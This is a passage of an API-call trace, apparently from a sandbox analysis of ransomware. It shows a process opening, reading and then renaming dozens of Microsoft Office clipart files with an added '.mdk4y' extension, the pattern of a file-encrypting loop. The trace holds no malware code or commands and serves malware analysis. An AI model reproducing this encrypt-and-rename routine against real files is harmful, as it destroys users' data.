dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824892300000) returned 1 [0173.693] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x704e, lpOverlapped=0x0) returned 1 [0173.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824892500000) returned 1 [0173.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824892500000) returned 1 [0173.695] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.mdk4y")) returned 1 [0173.696] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.696] AreFileApisANSI () returned 1 [0173.696] GetACP () returned 0x4e4 [0173.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00423_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00423_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.696] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824892600000) returned 1 [0173.696] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x143c, lpOverlapped=0x0) returned 1 [0173.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824892800000) returned 1 [0173.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824892800000) returned 1 [0173.698] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.mdk4y")) returned 1 [0173.699] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.699] AreFileApisANSI () returned 1 [0173.699] GetACP () returned 0x4e4 [0173.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00444_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00444_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.699] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824892900000) returned 1 [0173.699] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1544, lpOverlapped=0x0) returned 1 [0173.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824893200000) returned 1 [0173.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824893200000) returned 1 [0173.702] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.mdk4y")) returned 1 [0173.703] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.703] AreFileApisANSI () returned 1 [0173.703] GetACP () returned 0x4e4 [0173.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00452_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00452_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.703] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824893400000) returned 1 [0173.705] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x878, lpOverlapped=0x0) returned 1 [0173.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824894500000) returned 1 [0173.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824894500000) returned 1 [0173.715] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.mdk4y")) returned 1 [0173.716] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.716] AreFileApisANSI () returned 1 [0173.716] GetACP () returned 0x4e4 [0173.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00453_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00453_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.716] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824894700000) returned 1 [0173.717] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x59ec, lpOverlapped=0x0) returned 1 [0173.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824895300000) returned 1 [0173.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824895300000) returned 1 [0173.724] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.mdk4y")) returned 1 [0173.725] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.725] AreFileApisANSI () returned 1 [0173.725] GetACP () returned 0x4e4 [0173.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00454_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00454_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.725] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824895600000) returned 1 [0173.726] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb6c, lpOverlapped=0x0) returned 1 [0173.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824895800000) returned 1 [0173.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824895800000) returned 1 [0173.729] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.mdk4y")) returned 1 [0173.730] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.730] AreFileApisANSI () returned 1 [0173.730] GetACP () returned 0x4e4 [0173.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00466_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00466_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.730] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824896000000) returned 1 [0173.730] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xac8, lpOverlapped=0x0) returned 1 [0173.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824896100000) returned 1 [0173.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824896200000) returned 1 [0173.732] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.mdk4y")) returned 1 [0173.732] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.732] AreFileApisANSI () returned 1 [0173.732] GetACP () returned 0x4e4 [0173.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00476_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00476_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.733] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824896300000) returned 1 [0173.733] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfc0, lpOverlapped=0x0) returned 1 [0173.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824898300000) returned 1 [0173.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824898300000) returned 1 [0173.753] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.mdk4y")) returned 1 [0173.754] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.754] AreFileApisANSI () returned 1 [0173.754] GetACP () returned 0x4e4 [0173.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00479_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00479_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.754] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824898500000) returned 1 [0173.755] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b08, lpOverlapped=0x0) returned 1 [0173.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824898700000) returned 1 [0173.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824898700000) returned 1 [0173.757] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.mdk4y")) returned 1 [0173.758] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.758] AreFileApisANSI () returned 1 [0173.758] GetACP () returned 0x4e4 [0173.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00483_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00483_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.758] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824898900000) returned 1 [0173.759] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2bb8, lpOverlapped=0x0) returned 1 [0173.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824899000000) returned 1 [0173.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824899000000) returned 1 [0173.760] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.mdk4y")) returned 1 [0173.761] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.761] AreFileApisANSI () returned 1 [0173.761] GetACP () returned 0x4e4 [0173.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00486_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00486_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.761] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824899200000) returned 1 [0173.762] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e58, lpOverlapped=0x0) returned 1 [0173.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824899400000) returned 1 [0173.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824899400000) returned 1 [0173.764] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.mdk4y")) returned 1 [0173.765] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.765] AreFileApisANSI () returned 1 [0173.765] GetACP () returned 0x4e4 [0173.765] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00505_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00505_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.765] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824899500000) returned 1 [0173.766] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaa4, lpOverlapped=0x0) returned 1 [0173.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824899700000) returned 1 [0173.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824899700000) returned 1 [0173.767] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.mdk4y")) returned 1 [0173.768] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.768] AreFileApisANSI () returned 1 [0173.768] GetACP () returned 0x4e4 [0173.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00513_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00513_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.768] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824899800000) returned 1 [0173.768] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1724, lpOverlapped=0x0) returned 1 [0173.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900000000) returned 1 [0173.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900000000) returned 1 [0173.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.mdk4y")) returned 1 [0173.771] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.771] AreFileApisANSI () returned 1 [0173.771] GetACP () returned 0x4e4 [0173.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00555_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00555_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.771] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900200000) returned 1 [0173.772] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2602, lpOverlapped=0x0) returned 1 [0173.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900300000) returned 1 [0173.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900300000) returned 1 [0173.773] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.mdk4y")) returned 1 [0173.774] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.774] AreFileApisANSI () returned 1 [0173.774] GetACP () returned 0x4e4 [0173.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00603_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00603_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.774] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824900500000) returned 1 [0173.775] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, 